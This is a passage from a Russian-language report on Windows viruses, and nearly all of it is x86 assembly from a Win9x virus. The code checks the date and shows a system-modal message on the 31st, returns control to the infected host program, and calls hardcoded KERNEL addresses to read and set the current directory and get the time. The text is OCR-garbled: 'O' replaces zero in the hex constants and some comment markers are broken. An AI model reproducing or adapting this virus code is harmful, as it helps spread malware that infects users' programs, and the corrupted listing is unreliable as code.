Доклад: Вирусы под Windows
Получим текущую дату и время
lea eax,[ebp+offset systimestruct]
push eax
call GetTime
Проверим число. Если это 31-ое, выдаем сообщение
cmp word ptr [ebp+offset day],31
jnz nopayload
.Сообщение для пользователя
push 1000h ;MB_SYSTEMMODAL
lea eax, [ebp+offset boxtitle]
push eax
lea eax, [ebp+offset boxmsg]
push eax
push 0
call MsgBox
; Выход в программу-носитель
nopayload:
pop eax
jmp eax
;Когда KERNEL будет обнаружен, его смещение будет записано
kern dd OBFF93B95h
;3начения KERNEL, известные нам
kern1 dd OBFF93B95h
kern2 dd OBFF93C1Dh
;Чтение текущей директории
GetCurDir:
;3апишем в стек значение для получения текущей
директории и вызовем KERNEL
push OBFF77744h
jmp [ebp+offset kern]
.Установка текущей директории
SetCurDir:
;3апишем в стек значение для установки текущей
директории и вызовем KERNEL
push OBFF7771Dh
jmp [ebp+offset kern]
[Получение времени и даты
GetTime:
Проверим, какой KERNEL работает
cmp [ebp+offset kern],OBFF93B95h
jnz gettimekern2
;3апишем в стек значение для получения
;времени и даты и вызовем KERNEL
push OBFF9DOB6h